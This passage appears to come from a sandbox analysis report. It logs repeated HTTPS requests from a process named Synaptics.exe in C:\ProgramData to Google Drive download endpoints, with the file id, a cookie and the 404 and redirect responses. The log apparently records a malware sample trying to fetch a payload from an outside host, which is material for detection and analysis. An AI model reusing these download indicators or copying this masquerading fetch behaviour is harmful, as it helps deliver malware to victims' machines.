2024-12-30 03:59:44 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5r37CbweChk2TGgPGhD6xqGx7C3buvydAbuDfEFBq6L0Xkl1HX9F-9P8phRepuJEWW Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:44 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-On3dSMNrh260KPs37aMD_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:44 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:44 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 69 63 75 76 6f 66 71 47 59 6e 6b 76 4c 48 63 56 5f 64 55 33 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="MicuvofqGYnkvLHcV_dU3Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:44 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49935	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:44 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC40j5xr93o-FJlU-oWlboUMUfc3OpGaNDQFFG24qfvcFGy7C2jX6Ww3dMxEZmU02BEU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:44 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lgHlG5LH-6cazGUvZW6cbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:44 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:44 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 43 66 71 64 6b 53 46 48 4f 4a 71 6c 4e 43 42 6d 37 6c 4d 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JCfqdkSFHOJqlNCBm7lMYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:44 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49936	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-MK4n0e629i_GuRmUpFW8rA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49937	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:45 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-M17-eTJWL7xHw2Lmc2cZ4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49938	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:45 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:45 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4bjhMdS5hK0wr_aM45rZ4SV_aqjJI59Vd-dYagUCdI5ljz3LptmFJ1xU7tgpOtYyoJDgJ9zJc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:45 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-jdX-JH2KZ9N2-ZTF924osA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:45 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:45 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 57 4f 73 45 45 58 54 34 53 69 61 63 79 54 5f 50 31 7a 43 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="eWOsEEXT4SiacyT_P1zCmA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:45 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49939	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:45 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:45 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC70HHyfttWFnYeelbZ3SV0rZihDYIfyEBp1QQQpYIp7u-kqjNuua-ugGzVloeePY-lE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:45 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_5AvQZMnxVXeCnXSGfwdhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:45 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:45 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 41 68 6f 61 62 58 70 49 32 6c 2d 4d 5f 75 49 46 37 70 53 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="HAhoabXpI2l-M_uIF7pSoA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:45 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49942	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-QkoLS4_MZPcdmW50QHTLDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49941	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:46 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49943	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49944	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
